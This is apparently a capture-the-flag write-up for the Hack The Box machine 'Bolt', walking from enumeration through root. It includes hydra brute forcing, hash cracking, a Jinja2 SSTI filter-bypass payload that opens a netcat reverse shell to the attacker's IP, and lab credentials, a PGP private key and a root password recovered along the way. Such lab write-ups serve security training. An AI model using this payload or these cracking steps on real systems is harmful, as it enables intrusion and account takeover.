Link: https://app.hackthebox.eu/machines/Bolt
Enumeration
TCP Port Scan

Preliminary port scan reveals SSH on port 22 and two web servers on ports 80 and 443.
SSL Web Server
Attempting to access the https version of the website prompts a security warning. We can further investigate this certificate and get the common name of the website:

I added passbolt.bolt.htb
and bolt.htb
to my /etc/hosts
file for convenience. Now accessing the URL gives a login page:

I attempted to enter [email protected]
and get the following error:

We could probably use this error to help us identify valid email addresses but for now I’m going to check out the regular website on port 80 and see what we can determine from there.
Web Server (Port 80)
We get a pretty standard boilerplate template for the main website but there is a login page. The title of this page is Boilerplate Code Jinja - Sign IN | AppSeed
. Jinja tells us we have a templating engine in Python, so we could have a SSTI vulnerability with this login and registration form.
I attempted to register with:
Username: {{3*3}}
Email: {{3*3}}@gmail.com
Pass: test
But it throws an internal service error. It appears no matter what gets tried it will consistently return a 500 error when trying to register.
Back on the /login
endpoint, I attempted credentials test:test
and got an Invalid login. Forbidden.
Most notably, however, admin:admin
returns Invalid password. Please try again.
We could definitely brute force this since we know admin
is a valid username.
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt bolt.htb http-post-form "/login:username=^USER^&password=^PASS^:Invalid password" -V
While this is running, we can perform a gobuster directory scan:

I also performed a GoBuster vhost scan and discovered mail.bolt.htb and demo.bolt.htb that I added to /etc/hosts.
Docker Image
We have several endpoints revealed. /download gives us a docker tar image, we can load it with:
$ sudo docker load -i image.tar
$ sudo docker run flask-dashboard-adminlte_appseed-app:latest
Next I navigated to our docker container’s IP and saw this:

However browsing around shows this is just another pre-built template with nothing of interest. Looking in the various layer.tar files in the image, I found an .env file with the following:
DEBUG=True
SECRET_KEY=S3cr3t_K#Key
DB_ENGINE=postgresql
DB_NAME=appseed-flask
DB_HOST=localhost
DB_PORT=5432
DB_USERNAME=appseed
DB_PASS=pass
Inside of the layer starting with /a4ea7da…, there is a db.sqlite3 file. Opening this shows a username and password hash for [email protected]:

I saved this to a file and used hashcat to crack the password
$ hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt
And in less than 30 seconds we get a match:

If we use these credentials on the http://bolt.htb/login, it grants us access.
Web Server (Port 80) Authenticated
We see a similar Admin dashboard to the docker container. I searched around and we can do XSS on the calendar page for JS. Refreshing the page purges the calendar back to original. It seems like this dashboard is a dead end. I found two additional domains from the gobuster vhost scan from before, let’s check those out
demo.bolt.htb
It looks very similar to the original, however when attempting to register it requires an invite code. The admin:deadbolt credentials do not work on here.
If we dive back into the image.tar from earlier, inside of the layer starting with /41093412e0…, and inside /layer.tar/app/base/routes.py is code to check for the invitation code:

Using this code with test:test and email of [email protected], we can log in to demo.bolt.htb. Although, it looks very similar to the other dashboard just with more templates on the sidebar and I cannot really find anything interesting.
mail.bolt.htb
The admin:deadbolt credentials still do not work here, however the test:test we created on demo.bolt.htb do work here. I attempted to send an email but it fails.
After much testing, if you edit your profile on demo.bolt.htb:

It will send an email for confirmation via mail.bolt.htb:

If we do SSTI such as {{3*3}}, it is reflected in the email:

From this page, the last payload for Jinja2 filter bypass works. I replaced the id
command with a reverse shell like so:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.x.x 4444 >/tmp/f')|attr('read')()}}
Start a nc listener and then confirm the changes from the email and we get a reverse shell as www-data.
Reverse Shell
In the /home directory, we have two users: eddie and clark, however we are unable to read these directories as www-data. Hopefully we have something on the box that will help us move into a user account.
Some discoveries:
netstat -l --numeric-ports
reveals we have a MySQL server running/var/www/demo.config.py
reveals a SQLALCHEMY URI of mysql://bolt_dba:dXUUHSW9vBpH5qRB@localhost/boltmail
We can access the database with:
$ mysql -u bolt_dba -p boltmail
Enter password: dXUUHSW9vBpH5qRB
The only table in boltmail is user table and interestingly it just shows the hash for the admin user we discovered before and our test user so nothing new here.
From our nmap scan, we know we have nginx running and we can find configuration files in /etc/nginx. There is also the passbolt app we had running on 443, the configuration filke says the root for this is /usr/share/php/passbolt/webroot
. Inside of /bin I found a healthcheck. I executed it and it told me about a config/passbolt.php. Running locate passbolt.php
shows we have a configuration file in /etc/passbolt. There is more database credentials here:
'Datasources' => [
'default' => [
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
],
]
We can connect with mysql -u passbolt -p passboltdb
like before. There are a lot more tables in this database. Both [email protected] and [email protected] are listed in users but I did not find any hashes in the database. There is a secrets table here but the secret is encrypted with a password or phrase. Fortunately for us, eddie reuses this password for SSH and we can gain access that way.
eddie
First grab the user.txt flag in this home directory. A quick sudo -l
check reveals we cannot run any sudo commands. I put LinPeas.sh onto the box and outputted the results to a file in order to read through more thoroughly
Discoveries:
- Sudo Version 1.8.31
- /usr/sbin/dovecot (mail server) running as root
- Google Chrome seems to be running on the box, there is files in /home/eddie/.config/google-chrome
- /home/eddie/.config/google-chrome/ZxcvbnData/1/passwords.txt
- /usr/bin/gettext.sh and /usr/bin/amuFormat.sh
- /var/lib/php/sessions
- email in /var/mail/eddie
If we cat /var/mail/eddie
we get an email from Clark about the password management server. It says to download the extension to your browser and use a private key to recover the account.
If we search in the Google Chrome directory for PRIVATE KEY, we can find references in a log file inside of an extension. I copied this text and put it into VS Code. Replace \\r\\n
and then hit SHIFT + ENTER in the replace box to have an actual new line. Replace all for the PGP Key:
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
Now we can attempt to crack it with john
$ gpg2john pgpfile > gpghash
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=gpg gpghash
After close to 12 minutes, the password is cracked as merrychristmas
. Log back into the MySQL passboltdb again and let’s checkout the secrets table. I copied the PGP message to my kali box and saved it as pgp_msg
.
Now run the following commands:
$ gpg --import pgpfile
# enter passcode of merrychristmas
$ gpg -d pgp_msg
# enter passcode if prompted
This gives us the following decrypted message:
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}
I tried to su clark
with this password but it fails. However if we just run su
to switch to root, the password does work!
Let’s grab the flag and we are done!